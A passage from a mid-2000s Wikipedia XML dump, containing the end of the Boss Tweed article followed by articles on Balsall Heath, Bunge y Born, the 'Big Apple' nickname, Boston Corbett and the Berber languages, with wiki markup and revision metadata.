The end came when one of the plunderers, dissatisfied with the amount he received, gave ''[[The New York Times]]'' evidence that conclusively proved that stealing was going on. In a subsequent interview about the fraud, Tweed's only reply was, &quot;What are you going to do about it?&quot; However, accounts in ''[[The New York Times]]'' and political cartoons drawn by [[Thomas Nast]] and published in ''[[Harper's Weekly]]'' resulted in the election of numerous opposition candidates in [[1871]]. Tweed is attributed with exclaiming, &quot;Stop them damned pictures. I don't care so much what the papers say about me. My constituents can't read. But, damn it, they can see pictures!&quot;

[[Image:Tweed-Boss-LOC.jpg|thumb|Formal portrait of Tweed]]

In October 1871, when Tweed was held on $1,000,000 (USD) bail, [[Jay Gould]] was the chief bondsman. The efforts of political reformers [[William H. Wickham]] (1875 New York City mayor) and [[Samuel J. Tilden]]  (later 1876 Democratic presidential nominee) resulted in Tweed's trial and conviction in [[1873]]. He was given a 12-year prison sentence, which was reduced by a higher court and he served one year. He was then re-arrested on civil charges, sued by New York State for $6,000,000 (USD), and held in [[debtor's prison]] until he could post $3,000,000 (USD) as bail. On [[December 4]], [[1875]], Tweed escaped and fled to [[Cuba]]. His presence in Cuba was discovered by the U.S. Government and he was held by the Cuban government. Before the U.S. Government could arrange for his extradition, Tweed bribed his way onto a ship headed to [[Spain]]. Before he arrived in Spain, the U.S. Government discovered his eventual destination and made arrangements for his arrest as soon as he reached the Spanish coast. The Spanish government identified him, purportedly recognizing Tweed from one of Nast's cartoons, and extradited him to New York; he was delivered to authorities in [[New York City]] on [[November 23]], [[1876]], where he died in prison two years later at the age of 55.

He is buried in [[Brooklyn]]'s [[Green-Wood Cemetery]].

Boss Tweed was portrayed by [[Jim Broadbent]] in the [[2002]] film ''[[Gangs of New York]]''.

==Further reading==
* Kenneth D. Ackerman, ''Boss Tweed: The Rise and Fall of the Corrupt Pol who Conceived the Soul of New York'' (New York, 2006).

==External links==
* [http://www.davidpietrusza.com/tammany-hall-links.html Tammany Hall Links]

{{wikiquote}}

[[Category:1823 births|Tweed, Boss]]
[[Category:1878 deaths|Tweed, Boss]]
[[Category:American criminals|Tweed, Boss]]
[[Category:Fraudsters|Tweed, Boss]]
[[Category:History of New York City|Tweed, Boss]]
[[Category:Leaders of Tammany Hall|Tweed, Boss]]
[[Category:Members of the United States House of Representatives from New York|Tweed, Boss]]
[[Category:New York State Senators|Tweed, Boss]]
[[Category:New York politicians|Tweed, Boss]]
[[Category:People from New York|Tweed, Boss]]

[[de:William Tweed]]</text>
    </revision>
  </page>
  <page>
    <title>Balsall Heath</title>
    <id>4689</id>
    <revision>
      <id>26566299</id>
      <timestamp>2005-10-26T22:30:42Z</timestamp>
      <contributor>
        <username>Pigsonthewing</username>
        <id>26248</id>
      </contributor>
      <minor />
      <comment>maps</comment>
      <text xml:space="preserve">'''Balsall Heath''' is a [[working class]], [[inner-city]] area of [[Birmingham]], [[England]]. It is home to a diverse cultural mix including [[Afro-Caribbean]], [[India]]n, [[Pakistan]]i, [[Ireland|Irish]] and English, and the home of the ''[[Balti (food)|Balti]] Triangle'', a collection of Asian restaurants and sweet centres.

==External links==
*{{gbmapping|SP075845}}
*[http://www.birmingham.gov.uk/balsallheathlibrary Balsall Heath Library]

{{WestMidlands-geo-stub}}
[[Category:Areas of Birmingham, England]]</text>
    </revision>
  </page>
  <page>
    <title>Bunge y Born</title>
    <id>4690</id>
    <revision>
      <id>15902950</id>
      <timestamp>2005-05-13T19:39:05Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <minor />
      <comment>[[Category:Companies of Argentina]]</comment>
      <text xml:space="preserve">'''Bunge y Born''' was an [[Argentina|Argentinian]]-based [[multinational]] corporation. It was an international [[Cereal|grain]] and [[oilseed]] trader with an annual turnover of about $13 bn.

'''History'''&lt;br /&gt;
Started by European immigrants arriving in Argentina in the late 19th century to take advantage of the newly created wheatlands. Two families join forces to play a large role in the grain and oilseed business, initially in Argentina and then worldwide.

The owning families expanded their business into industry in Argentina and [[Brazil]]. Including textiles, paint, chemicals, fertilizer, banking and insurance. Throughout the early and mid-20th century they continued to be successful until 1974 when two third generation family members Jorge and Juan Born, were kidnapped by the [[Montoneros]] and recovered only after the payment of a  $60m ransom. Concern over the terrorists use of the money was one of the factors that led to the military coup in April 1976. 

The families became even more low profile. But in 1989, Jorge Born, president of the company from 1987 (replacing the &quot;business genius&quot; Mario Hirsch), began working closely with the government of [[Carlos Menem]]. Bunge provided the government with its first two economy ministers. This intervention in politics upset the other shareholders and together with the company's lacklustre business performance, Born was ousted in 1991 and replaced by Octavio Caraballo.

The prior unity between the shareholders disintergrated as Caraballo struggled to modernize the company. Bizzarely the ousted Jorge Born has started working with one of his former kidnappers, Rodolfo Galimberti.

In 1994 the Bermuda-registered [[Bunge International]] was created as the main company in which the families have shares. There are around 180 shareholders - the main families are Hirsch, Bunge, Born, Engels and De La Tour. This replaced the older structure in which individual shareholders had stakes in all the different Bunge companies. Now only in Argentina does the Bunge y Born name still exist.
[[Category:Companies of Argentina]]</text>
    </revision>
  </page>
  <page>
    <title>Big Apple</title>
    <id>4691</id>
    <revision>
      <id>41353989</id>
      <timestamp>2006-02-26T20:28:44Z</timestamp>
      <contributor>
        <ip>24.224.153.40</ip>
      </contributor>
      <comment>npov</comment>
      <text xml:space="preserve">[[Image:Bigapple.jpg|right|thumb|250px|The Big Apple: [[Manhattan]] viewed from atop the [[World Trade Center]].]]
:''For the swing dance, see [[Big Apple (dance)|Big Apple (dance)]]''
The '''&quot;Big Apple&quot;''' is a [[List of city nicknames in the United States|nickname]] or alternate [[toponym]] for [[New York City]].  Its popularity since the [[1970s]] is due to a promotional campaign by the New York Convention and Visitor's Bureau.  Its earlier origins are less clear.

One explanation cited by the [[New-York Historical Society]] and others is that it was first popularized by [[John J. Fitz Gerald]], who first used it in his [[horse racing]] column in the ''[[New York Morning Telegraph]]'' in [[1921]], then further explaining its origins in his [[February 18]], [[1924]] column.  Fitz Gerald credited [[African-American]] stable-hands working at horseracing tracks in [[New Orleans, Louisiana|New Orleans]]:

&lt;div style=&quot;width: 400px; border: 1px solid #8888aa; padding: 6px; margin: 20px;&quot;&gt;
The Big Apple. The dream of every lad that ever threw a leg over a thoroughbred and the goal of all horsemen. There's only one Big Apple. That's New York.

Two dusky stable hands were leading a pair of thoroughbred around the &quot;cooling rings&quot; of adjoining stables at the Fair Grounds in New Orleans and engaging in desultory conversation.
*&quot;Where y'all goin' from here?&quot; queried one.
*&quot;From here we're headin' for '''The Big Apple'''&quot;, proudly replied the other.
*&quot;Well, you'd better fatten up them skinners or all you'll get from the apple will be the core&quot;, was the quick rejoinder.
&lt;/div&gt;

In the 1920s the New York race tracks were the cream of the crop, so going to the New York races was a big treat, the prize, allegorically a Big Apple.

In [[1997]], as part of an official designation of &quot;Big Apple Corner&quot; in [[Manhattan]], former Mayor [[Rudy Giuliani]] summarizes the rest of the story:
:A decade later many jazz musicians began calling the City &quot;The Big Apple&quot; to refer to New York City (especially [[Harlem, Manhattan|Harlem]]) as the jazz capital of the world. Soon the nickname became synonymous with New York City and its cultural diversity. In the early 1970s the name played an important role in reviving New York's tourist economy through a campaign led by the New York Convention and Visitors Bureau. Today the nickname &quot;The Big Apple,&quot; which replaced &quot;Fun City,&quot; is the international description of the city and is synonymous with the cultural and tourist attractions of New York City.

:Therefore, it is only fitting that the southwest corner of West 54th Street and Broadway, the corner on which John J. Fitz Gerald resided from 1934 to 1963, be designated &quot;Big Apple Corner.&quot;

According to [[PBS|PBS's]] Broadway: The American Musical miniseries, [[Walter Winchell]] used the term &quot;Big Apple&quot; to refer to the New York cultural scene, especially [[Harlem]] and Broadway, helping to spread the use of this nickname.

A documented earlier use comes from the [[1909 in literature|1909 book]] ''The Wayfarer in New York'' by Edward S. Martin.  He wrote (regarding New York) that the rest of the United States &quot;inclines to think the big apple gets a disproportionate share of the national sap.&quot;

Etymologists have been unable to trace any influence that this use had on the nickname's popularity.

== External links ==
* [http://www.ci.nyc.ny.us/html/om/html/97/sp082-97.html Giuliani creates Big Apple Corner] from the February 1997 Archives of the Mayor's Press Office
* [http://www.barrypopik.com/article/3/summary-the-big-apple The Big Apple] Big Apple Timeline from amateur etymologist [[Barry Popik]]
* [http://www.straightdope.com/classics/a1_382.html Straight Dope article] about the subject, with [http://www.straightdope.com/classics/a990917.html follow-on]
* [http://www.nypl.org/research/chss/faq.html#apple FAQ on the subject] from the [[New York Public Library]] website
* [http://www.nyhistory.org/nyhsqa.html Q&amp;A including the subject] from the [[New-York Historical Society]] website

[[Category:New York City culture]]

[[de:Big Apple]]
[[es:Gran Manzana]]
[[ka:დიდი ვაშლი]]
[[nl:Big Apple]]
[[nn:The Big Apple]]
[[pt:Grande Maçã]]</text>
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  </page>
  <page>
    <title>Boston Corbett</title>
    <id>4692</id>
    <revision>
      <id>41401142</id>
      <timestamp>2006-02-27T02:07:58Z</timestamp>
      <contributor>
        <username>Tyrenius</username>
        <id>393711</id>
      </contributor>
      <comment>correct link for Andersonville Prison</comment>
      <text xml:space="preserve">[[Image:boston corbett.jpg|thumb|240px|Boston Corbett]]

'''Thomas P. &quot;Boston&quot; Corbett''' ([[1832]] - [[1894]]?) is most well known as the [[Union (American Civil War)|Union]] soldier who shot [[Abraham Lincoln]]'s assassin [[John Wilkes Booth]].

Corbett was born in [[England]] in 1832. Along with his family, he moved to [[New York City]] in [[1839]].  He eventually became a [[hatter]] in [[Troy, New York]]. There has been speculation that the use of [[Mercury (element)|mercury]] as part of the hatter's trade was a cause of Corbett's later mental problems.

Corbett married, but his wife died in childbirth. Following her death, he moved to [[Boston, Massachusetts|Boston]] and continued working as a hatter. He became a reborn, evangelical [[Christian]] and changed his name to Boston. Trying to imitate [[Jesus]], he began to wear his hair very long.

On [[July 16]], [[1858]], in order to avoid the temptation of prostitutes, Corbett [[castration|castrated]] himself with a pair of scissors. Afterward, he went to a prayer meeting and ate a meal before going for medical treatment.

Corbett joined the Union army at the outbreak of the [[American Civil War]].  He re-enlisted three times. His final rank was [[sergeant]] in the [[16th New York Cavalry]]. He was captured by the [[Confederate States of America|Confederate]] Army on [[June 24]], [[1864]], and was held captive at [[Andersonville Prison]]. He was eventually released and returned to his unit.

On [[April 24]], [[1865]], he was selected as one of the 26 cavalrymen to pursue John Wilkes Booth after his assassination of Abraham Lincoln.  On [[April 26]], they cornered Booth and fellow conspirator [[David Herold]] in a tobacco barn on the [[Virginia]] farm of [[Richard Garrett]].  The barn was set on fire. Herold surrendered, but Booth remained inside. Corbett was positioned by a large crack in the barn wall. He saw Booth moving about inside and shot him with a Colt revolver from a distance of several yards. Booth died a few hours later as Corbett's shot had hit his [[spinal cord]].

Corbett was immediately arrested for disobeying orders but the charges were dropped by [[Secretary of War]] [[Edwin M. Stanton]]. Later, Stanton said, &quot;The rebel is dead. The patriot lives.&quot; Corbett received his share of the reward money, amounting to $1,653.85.

In his official statement, Corbett claimed he shot Booth because he thought Lincoln's assassin was getting ready to use his weapons. This was denied by other witnesses.  When asked later why he did it, he said that &quot;God told me to do it,&quot; unsurprising considering his deeply religious background.

Shortly thereafter, Corbett returned to being a hatter, first in Boston and later in [[Connecticut]] and [[New Jersey]].

His later life was not well-documented, but there are a number of stories regarding his increasingly erratic behavior:

* In [[1875]], he threatened several men with a pistol at a soldier's reunion in [[Caldwell, Ohio]].
* In [[1878]], he moved to [[Concordia, Kansas]] where he lived in a hole dug into a hillside.
* In [[1887]], he was appointed assistant doorkeeper of the Kansas House of Representatives in [[Topeka, Kansas]]. Overhearing a conversation in which the legislature's opening prayer was mocked, he jumped to his feet, pulled out his revolver, and waved his gun. No one was hurt. Corbett was arrested, declared insane, and sent to the Topeka Asylum for the Insane.
* On [[May 26]], [[1888]], Corbett escaped from the asylum. He went to [[Neodesha, Kansas]], and stayed briefly with Richard Thatcher, a man he had met during his imprisonment at Andersonville in the Civil War. When he left, he said he was heading for [[Mexico]].
* It was rumored that Corbett settled in the forests near [[Hinckley]], [[Minnesota]], and died in  the Great Fire that took place there on [[September 1]], [[1894]]. Although difficult to prove, his name did in fact appear on the list of the dead and missing.

The number of references to Corbett pulling a gun on his friends, or waving a gun before a crowd, suggests that Corbett became something of a legend, casting some doubt on the veracity of such stories.

There is a Boston Corbett roadside monument just outside of Concordia, Kansas.

== External links ==
*[http://members.aol.com/RVSNorton/Lincoln32.html Boston Corbett: The Man Who Killed John Wilkes Booth]
* [http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=5836144  Find-A-Grave profile for Boston Corbett]

[[Category:1832 births|Corbett, Boston]]
[[Category:American Civil War people|Corbett, Boston]]
[[Category:Year of death missing|Corbett, Boston]]

[[pl:Boston Corbett]]
[[sv:Boston Corbett]]</text>
    </revision>
  </page>
  <page>
    <title>Berber languages</title>
    <id>4693</id>
    <revision>
      <id>42138375</id>
      <timestamp>2006-03-04T01:55:01Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/130.184.81.27|130.184.81.27]] ([[User talk:130.184.81.27|talk]]) to last version by KnightRider</comment>
      <text xml:space="preserve">The '''Berber languages''' (or ''Tamazight'') are a group of closely related [[language]]s mainly spoken in [[Morocco]] and [[Algeria]]. A very sparse population extends into the whole [[Sahara]] and the northern part of the [[Sahel]]. They belong to the [[Afro-Asiatic_languages | Afro-Asiatic languages phylum]]. There is a strong movement among [[Berber]]s to unify the closely related northern Berber languages into a single standard, Tamazight.

Among the Berber languages are [[Tarifit]] or ''Riffi'' (northern Morocco), [[Kabyle]] (Algeria) and [[Tashelhiyt language|Tashelhiyt]] (central Morocco). Tamazight has been a written language, on and off, for almost 3000 years; however, this tradition has been frequently disrupted by various invasions. It was first written in the [[Tifinagh]] alphabet, still used by the [[Tuareg]]; the oldest dated inscription is from about [[200 BC]].  Later between about [[1000]] AD and [[1500]] AD, it was written in the [[Arabic alphabet]] (particularly by the [[Tachelhit language|Shilha]] of [[Morocco]]); in this century, it is often written in the [[Latin alphabet]], especially among the [[Kabyle]].  A variant of the [[Tifinagh]] alphabet was recently made official in [[Morocco]], while the [[Latin alphabet]] is official in [[Algeria]], [[Mali]], and [[Niger]]; however, both Tifinagh and Arabic are still widely used in Mali and Niger, while Latin and Arabic are still widely used in Morocco.

After independence, all the [[Maghreb]] countries to varying degrees pursued a policy of &quot;Arabization&quot;, aimed primarily at displacing [[French language|French]] from its colonial position as the dominant language of education and literacy, but under which teaching, and use in certain highly public spheres, of both Berber languages and [[Maghrebi Arabic]] dialect have been suppressed as well.  This state of affairs was protested by Berbers in [[Morocco]] and [[Algeria]] - especially [[Kabylie]] - and is now being addressed in both countries by introducing Berber language education and by recognizing Berber as a &quot;national language&quot;, though not necessarily an official one.  No such measures have been taken in the other Maghreb countries, whose Berber populations are much smaller.  In [[Mali]] and [[Niger]], there are a few schools that teach partially in [[Tamasheq languages|Tamasheq]].

==Nomenclature==
The term &quot;Berber&quot; is disliked by many modern Berbers, because it comes from the [[ancient Greek]]  ''barbaros'', &quot;[[barbarian]]&quot;.  Nonetheless, it is used in Western languages by many Berber writers, such as the [[Kabyle]] Professor [[Salem Chaker]] of [[INALCO]] in [[Paris]], [[Werner Vycichl]], and Maarten Kossmann and Harry Stroomer of [[Leiden University]].

The term '''Tamazight''' is often substituted, particularly to refer to [[Northern Berber languages]]; in Western languages, this term can also (somewhat misleadingly) be used specifically to refer to the language of the Middle [[Atlas mountains]] in [[Morocco]], closely related to [[Tashelhiyt language|Tashelhiyt]].  Etymologically, it means &quot;language of the free&quot; or &quot;of the noblemen.&quot;  Traditionally, the term &quot;tamazight&quot; (in various forms: &quot;thamazighth&quot;, &quot;tamasheq&quot;, &quot;tamajeq&quot;, &quot;tamahaq&quot;) was used by many Berber groups to refer to the language they spoke, including the Middle Atlas, the [[Rif]], [[Sened]] in [[Tunisia]], and the [[Tuareg]].  However, other terms were used by other groups; for instance, many parts of western Algeria called their language &quot;taznatit&quot; or [[Zenata|Zenati]], while the [[Kabyle]]s called theirs &quot;thaqvaylith&quot;, the inhabitants of [[Siwa]] &quot;tasiwit&quot;, and the [[Zenaga]] &quot;Tuddhungiya&quot;[http://www.rosettaproject.org/live/search/showpages?ethnocode=ZEN&amp;doctype=detail&amp;version=0&amp;scale=six].  Around the turn of the century, it was reported that the Zenata of the Rif called their language &quot;Zenatia&quot; specifically to distinguish it from the &quot;Tamazight&quot; spoken by the rest of the Rif.

One group, the [[Linguasphere Observatory]], has attempted to introduce the [[neologism]] &quot;Tamazic languages&quot; to refer to the Berber languages.

==Origin==
Tamazight is a member of the [[Afro-Asiatic languages|Afro-Asiatic language family]] (formerly called Hamito-Semitic). Traditional genealogists often considered the Berbers as [[Arab]]s that immigrated from [[Yemen]]; for this reason, some considered Tamazight to derive from [[Arabic language|Arabic]].  For political reasons, the converse view has occasionally been suggested: Dr [[M. A'ashi]], for instance, wrote &quot;Tamazight is older than the Semitic languages. It is possible that the Semitic languages are even branches of Tamazight&quot;.  However, both views are rejected by most linguists, who regard Semitic and Berber as two separate branches of Afro-Asiatic; Prof. [[Karl Prasse]], for instance, regards it as &quot;a sister language of Semitic in general&quot;.

==Population==
&lt;!-- NOTE: this section is intended only for estimates backed up by a referenced academic or academic organization.  Many sites (eg [http://www.libyamazigh.org/] for Libya) make claims about population backed up neither by data nor by academic reputation.--&gt;

The exact population of Berber speakers is hard to ascertain, since most [[Maghreb]] countries do not record language data in their censuses.  The [[Ethnologue]] provides a useful academic starting point; however, its bibliographic references are inadequate, and it rates its own accuracy at only B-C for the area.  Early colonial censuses may provide better documented figures for some countries; however, these are also very much out of date.

:&quot;Few census figures are available; all countries (Algeria and Morocco included) do not count Berber languages. The 1972 Niger census reported Tuareg, with other languages, at 127,000 speakers. Population shifts in location and number, effects of urbanization and education in other languages, etc., make estimates difficult. In 1952 A. Basset (LLB.4) estimated the number of Berberophones at 5,500,000. Between 1968 and 1978 estimates ranged from eight to thirteen million (as reported by Galand, LELB 56, pp. 107, 123-25); Voegelin and Voegelin (1977, p. 297) call eight million a conservative estimate. In 1980, S. Chaker estimated that the Berberophone populations of Kabylie and the three Moroccan groups numbered more than one million each; and that in Algeria, 3,650,000, or one out of five Algerians, speak a Berber language (Chaker 1984, pp. 8-9).&quot;[http://www.isp.msu.edu/AfrLang/Berber-root.html]

*'''[[Morocco]]''': In 1952, André Basset (&quot;La langue berbère&quot;, ''Handbook of African Languages'', Part I, Oxford) estimated that a &quot;small majority&quot; of Morocco's population spoke Berber.  The 1960 census estimated that 34% of Moroccans spoke Berber, including bi-, tri-, and quadrilinguals.  In [[2000]], [[Karl Prasse]] cited &quot;more than half&quot; in an interview conducted by Brahim Karada at Tawalt.com.  According to the Ethnologue (by deduction from its Moroccan Arabic figures), the Berber-speaking population is estimated at 35% (1991 and 1995).  However, the figures it gives for individual languages only add up to 7.5 million, or about 28%.  Most of these are accounted for by three dialects:
**[[Tarifit]]: 1.5 million (1991)
**[[Tachelhit]]: 3 million (1998)
**[[Middle Atlas Tamazight]]: 3 million (1998)

:This nomenclature is common in linguistic publications, but is significantly complicated by local usage: thus Tachelhit is sub-divided into Tasusit(the language of the Souss) and several mountain dialects. Moreover, linguistic boundaries are blurred, such that certain dialects can accurately be described as either Tamazight or Tachelhit.

:[[Mohammad Chafik]] claims 80% of Moroccans are Berbers.[http://www.syphax.nl/dossiers/trouw.html]  It is not clear, however, whether he means &quot;speakers of Berber languages&quot; or &quot;people of Berber descent&quot;.

*'''[[Algeria]]''': In [[1906]], the total population speaking Berber languages in Algeria (excluding the thinly populated Sahara) was estimated at 1,305,730 out of 4,447,149, ie 29%.  (Doutté &amp; Gautier, ''Enquête sur la dispersion de la langue berbère en Algérie, faite par l'ordre de M. le Gouverneur Général'', Alger 1913.)  The [[1911]] census, however, found 1,084,702 speakers out of 4,740,526, ie 23%; Doutté &amp; Gautier suggest that this was the result of a serious undercounting of [[Chaouia]] in areas of widespread [[bilingualism]].  A trend was noted for Berber groups surrounded by Arabic (as in [[Blida]]) to adopt Arabic, while Arabic speakers surrounded by Berber (as in Sikh ou Meddour near [[Tizi-Ouzou]]) tended to adopt Berber.  In 1952, André Basset estimated that about a third of Algeria's population spoke Berber.  The Algerian census of 1966 found 2,297,997 out of 12,096,347 Algerians, or 19%, to speak &quot;Berber.&quot;  In 1980, [[Salem Chaker]] estimated that &quot;in Algeria, 3,650,000, or one out of five Algerians, speak a Berber language&quot; (Chaker 1984, pp. 8-9).  According to the Ethnologue, more recent estimates include (by deduction from its Algerian Arabic figures) 17% (1991) and 29% (Hunter 1996).  The actual figures it gives for Berber languages, however, only add up to about 4 million, under 15%.  Most of these are accounted for by two dialects:
**[[Kabyle]]: 2.5 million (1995), or 8% of the population - or &quot;up to&quot; 6 million (1998), which would be more like 20%.
**[[Chaouia]]: 1.4 million (1993), thus 5% of the population.
*'''[[Tunisia]]''': Basset (1952) estimated about 1%, as did Penchoen (1968).  According to the Ethnologue, there are only 26,000 speakers (1998) of a Berber language it calls &quot;Djerbi&quot; in Tunisia, all in the south around [[Djerba]] and [[Matmata]].  The more northerly enclave of [[Sened]] apparently no longer speaks Berber.  This would make 0.3% of the population.
*'''[[Libya]]''': According to the Ethnologue (by deduction from its combined Libyan Arabic and Egyptian Arabic figures) the non-Arabic-speaking population, most of which would be Berber, is estimated at 4% (1991, 1996).  However, the individual language figures it gives add up to 162,000, ie about 3%.  This is mostly accounted for by two languages:
**[[Nafusi]] in Jabal Nafusa: 141,000 (1998).
**[[Tahaggart Tamahaq]] of [[Ghat]]: 17,000 (Johnstone 1993).
*'''[[Egypt]]''': The oasis of [[Siwa]] near the Libyan border speaks a Berber language; according to the Ethnologue, there are 5,000 speakers there (1995).  Its population in [[1907]] was 3884 (according to the [[1911]] [[Encyclopædia Britannica]]); the claimed lack of increase seems surprising.
*'''[[Mauritania]]''': According to the Ethnologue, only 200-300 speakers of [[Zenaga]] remain (1998).  It also mentions [[Tamasheq]], but does not provide a population figure for it.  Most non-Arabic speakers in Mauritania speak [[Niger-Congo languages]].
*'''[[Mali]]''': The Ethnologue counts 440,000 [[Tuareg]]s (1991) speaking:
::[[Tamasheq]]: 250,000
::[[Tamajaq]]: 190,000
*'''[[Niger]]''': The Ethnologue counts 720,000 [[Tuareg]] (1998) speaking:
::[[Tawallamat Tamajaq]]: 450,000
::[[Tayart Tamajeq]]: 250,000
::[[Tahaggart Tamahaq]]: 20,000
*'''[[Burkina Faso]]''': The Ethnologue counts 20,000 - 30,000 [[Tuareg]] ([[SIL International|SIL]] 1991), speaking [[Kidal Tamasheq]].
*'''[[Nigeria]]''': The Ethnologue notes the presence of &quot;few&quot; [[Tuareg]], speaking [[Tawallamat Tamajaq]].
*'''[[France]]''': The Ethnologue lists 537,000 speakers for [[Kabyle]], 150,000 for [[Middle Atlas Tamazight]], and no figures for [[Tachelhit]] and [[Tarifit]].  For the rest of Europe, it has no figures.
*'''[[Ceuta]]''' and '''[[Melilla]]''': A majority of [[Melilla]]'s 80,000 inhabitants, and a minority of [[Ceuta]]'s inhabitants, speak Berber[http://www.uoc.edu/euromosaic/web/document/berber/an/i1/i1.html#1].
*'''[[Israel]]''': A few thousand elderly [[Moroccan]]-born Israelis use [[Judeo-Berber]] dialects.


Thus, judging by the not necessarily reliable Ethnologue, the total number of speakers of Berber languages in the [[Maghreb]] proper appears to lie anywhere between 14 and 20 million, depending on which estimate is accepted; if we take Basset's estimate, it could be as high as 25 million.  The vast majority are concentrated in Morocco and Algeria.  The [[Tuareg]] of the [[Sahel]] add another million or so.

==Grammar==
The Berber languages have two [[grammatical case|cases]] of the [[noun]], organized ergatively: one is unmarked, while the other serves for the subject of a transitive verb and the object of a preposition, among other contexts. The former is often called ''état libre'', the latter ''état d'annexion'' or ''état construit''. Berber nouns also have two [[gender]]s, masculine (unmarked) and feminine (marked with reflexes of the prefix ''t-'').  These are illustrated (in Latin transcription) for the noun ''amghar'' &quot;old man, sheikh&quot;:

{|
|-
|
| colspan=&quot;2&quot; | masculine
| colspan=&quot;2&quot; | feminine
|-
|  || default || agent || default || agent
|-
| singular || ''amghar'' || ''umghar'' || ''tamghart'' || ''temghart''
|-
| plural || ''imgharen'' || ''imgharen'' || ''timgharin'' || ''temgharin''
|}

==Subclassification==
Subclassification of the Berber languages is made difficult by their mutual closeness; [[Maarten Kossmann]] (1999) describes it as two [[dialect continuum|dialect continua]], [[Northern Berber languages|Northern Berber]] and [[Tuareg languages|Tuareg]], and a few peripheral languages, spoken in isolated pockets largely surrounded by [[Arabic language|Arabic]], that fall outside these continua, namely [[Zenaga]] and the [[Libya]]n and [[Egypt]]ian varieties.  Within Northern Berber, however, he recognizes a break in the continuum between [[Zenati languages]] and their non-Zenati neighbors; and in the east, he recognizes a division between [[Ghadames]] and [[Awjila]] on the one hand and [[El-Foqaha]], [[Siwa]], and Djebel [[Nefusa]] on the other.  The implied tree is:

*[[Nefusa-Siwa languages]]
*[[Ghadames-Awjila languages]]
*[[Northern Berber languages]]
**[[Zenati languages]] (including [[Tarifit language|Tarifit]])
**[[Kabyle language]]
**[[Moroccan Atlas languages]] (including [[Tashelhiyt language|Tashelhiyt]] and [[Central Atlas Tamazight language|Tamazight]])
*[[Tuareg languages]]
*[[Zenaga language]]

There is so little data available on [[Guanche language|Guanche]] that any classification is necessarily uncertain; however, it is almost universally acknowledged as Berber on the basis of the surviving glosses.  Much the same can be said of the language, sometimes called &quot;[[Numidian]]&quot;, used in the Libyan or Libyco-Berber inscriptions around the turn of the Common Era, whose alphabet is the ancestor of [[Tifinagh]].

The Ethnologue, mostly following Aikhenvald and Militarev (1991), subdivides it somewhat differently:
*[[Guanche language|Guanche]]
*[[Eastern Berber languages]]
**[[Siwi language|Siwa]]
**[[Awjila-Sokna languages]]
*[[Northern Berber languages]]
**[[Zenati languages]]
**[[Kabyle language]]
**[[Chenoua language]]
**[[Moroccan Atlas languages]]
*[[Tamasheq languages]]
**[[Northern Tamasheq languages]]
**[[Southern Tamasheq languages]]
*[[Zenaga language]]

==See also==
*[[Arsène Roux]]
*[[Karl Prasse]]
*[[Henri Basset]]
*[[Berber]]
*[[Tifinagh]] alphabet

==References==
*Abdel-Massih, Ernest T. 1971. ''A Reference Grammar of Tamazight (Middle Atlas Berber)''. Ann Arbor: Center for Near Eastern and North African Studies, The University of Michigan
*Basset, Andr&amp;eacute;. 1952. ''La langue berb&amp;egrave;re''. Handbook of African Languages 1, ser. ed. Daryll Forde. London: Oxford University Press
*Chaker, Salem. 1995. ''Linguistique berb&amp;egrave;re: &amp;Eacute;tudes de syntaxe et de diachronie''. M. S.&amp;mdash;Ussun amazi&amp;#611; 8, ser. ed. Salem Chaker. Paris and Leuven: Uitgeverij Peeters
*Dallet, Jean-Marie. 1982. ''Dictionnaire kabyle&amp;ndash;fran&amp;ccedil;ais, parler des At Mangellet, Alg&amp;eacute;rie''. &amp;Eacute;tudes etholinguistiques Maghreb&amp;ndash;Sahara 1, ser. eds. Salem Chaker, and Marceau Gast. Paris: Soci&amp;eacute;t&amp;eacute; d&amp;rsquo;&amp;eacute;tudes linguistiques et anthropologiques de France
*[[Charles de Foucauld|de Foucauld, Charles Eug&amp;egrave;ne]]. 1951. ''Dictionnaire touareg&amp;ndash;fran&amp;ccedil;ais, dialecte de l&amp;rsquo;Ahaggar''. 4 vols. [Paris]: Imprimerie nationale de France
*Delheure, Jean. 1984. ''A&amp;#487;raw n yiwalen: tum&amp;#7827;abt t-tfransist, Dictionnaire mozabite&amp;ndash;fran&amp;ccedil;ais, langue berb&amp;egrave;re parl&amp;eacute;e du Mzab, Sahara septentrional, Alg&amp;eacute;rie''. &amp;Eacute;tudes etholinguistiques Maghreb&amp;ndash;Sahara 2, ser. eds. Salem Chaker, and Marceau Gast. Paris: Soci&amp;eacute;t&amp;eacute; d&amp;rsquo;&amp;eacute;tudes linguistiques et anthropologiques de France
*&amp;mdash;&amp;mdash;&amp;mdash;. 1987. ''Agerraw n iwalen: teggargrent&amp;ndash;ta&amp;#7771;umit, Dictionnaire ouargli&amp;ndash;fran&amp;ccedil;ais, langue parl&amp;eacute;e &amp;agrave; Oaurgla et Ngoussa, oasis du Sahara septentrinal, Alg&amp;eacute;rie''. &amp;Eacute;tudes etholinguistiques Maghreb&amp;ndash;Sahara 5, ser. eds. Salem Chaker, and Marceau Gast. Paris: Soci&amp;eacute;t&amp;eacute; d&amp;rsquo;&amp;eacute;tudes linguistiques et anthropologiques de France
*Kossmann, Maarten G. 1999. ''Essai sur la phonologie du proto-berb&amp;egrave;re''. Grammatische Analysen afrikaniscker Sprachen 12, ser. eds. Wilhelm J. G. M&amp;ouml;hlig, and Bernd Heine. K&amp;ouml;ln: R&amp;uuml;diger K&amp;ouml;ppe Verlag
*Kossmann, Maarten G., and Hendrikus Joseph Stroomer. 1997. &quot;Berber Phonology&quot;. In ''Phonologies of Asia and Africa (Including the Caucasus)'', edited by Alan S. Kaye. 2 vols. Vol. 1. Winona Lake: Eisenbrauns. 461&amp;ndash;475
*Na&amp;iuml;t-Zerrad, Kamal. 1998. ''Dictionarrie des racines berb&amp;egrave;res (formes attest&amp;eacute;es)''. Paris and Leuven: Centre de Recherche Berb&amp;egrave;re and Uitgeverij Peeters
